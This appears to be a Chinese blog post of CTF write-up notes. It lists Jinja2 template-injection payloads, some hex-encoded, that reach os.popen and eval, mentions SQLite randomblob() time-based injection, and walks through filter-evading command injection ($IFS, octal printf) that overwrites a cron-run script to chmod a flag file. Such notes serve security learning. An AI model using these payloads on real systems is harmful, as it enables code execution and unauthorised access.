本文最后更新于 219 天前,其中的信息可能已经有所发展或是发生改变。
赛后看了writeup,记录几个tricks吧
mine1_1
两行代码等价
{{().__class__}}
{{()|attr('__class__')}}
绕过姿势
{{(()|attr(request.values.a)).get(request.values.b).get(request.values.c)(request.values.d).popen(request.values.e).read()}}&a=__globals__&b=__builtins__&c=__import__&d=os&e=cat%20flag.txt&f=123
{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)(request.values.name6)|attr(request.values.name5)()}}&name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read&name6=./flag.txt
mine2
{%print(""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(0)|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(202)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("eval")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x20\x2d\x61\x6c\x6c\x27\x29\x2e\x72\x65\x61\x64\x28\x29"))%}
sqllite
sqllite数据库时间延时注入
差不多,主要差别在用的函数是 randomblob(),通过大量生成随机数来时间延时。
hids
这是唯一我有去做的一道题
先用$IFS$9绕过空格。
$(echo$IFS$9"\143\141\164\40\57\146\154\141\147")
发现没有权限读取文件,但是遍历目录的时候看到了一个detect.py。
ls -all /
ls$IFS$(printf$IFS"\55\141\154\154")$IFS$(printf$IFS"\57")
cat ../../../../etc/crontab
cat$IFS$(printf$IFS"\56\56\57\56\56\57\56\56\57\56\56\57\145\164\143\57\143\162\157\156\164\141\142")
查看crontab有两个进程在运行,一个是app.py,还有一个是detect.py。往文件写入shell。
echo "import os;os.system('chmod 777 /flag')">/detect.py
echo$IFS$(printf$IFS"\151\155\160\157\162\164\40\157\163\73\157\163\56\163\171\163\164\145\155\50\47\143\150\155\157\144\40\67\67\67\40\57\146\154\141\147\47\51")>$(printf$IFS"\57\144\145\164\145\143\164\56\160\171")
cat /detect.py
cat$IFS$(printf$IFS"\57\144\145\164\145\143\164\56\160\171")
cat /flag
cat$IFS$(printf$IFS"\57\146\154\141\147")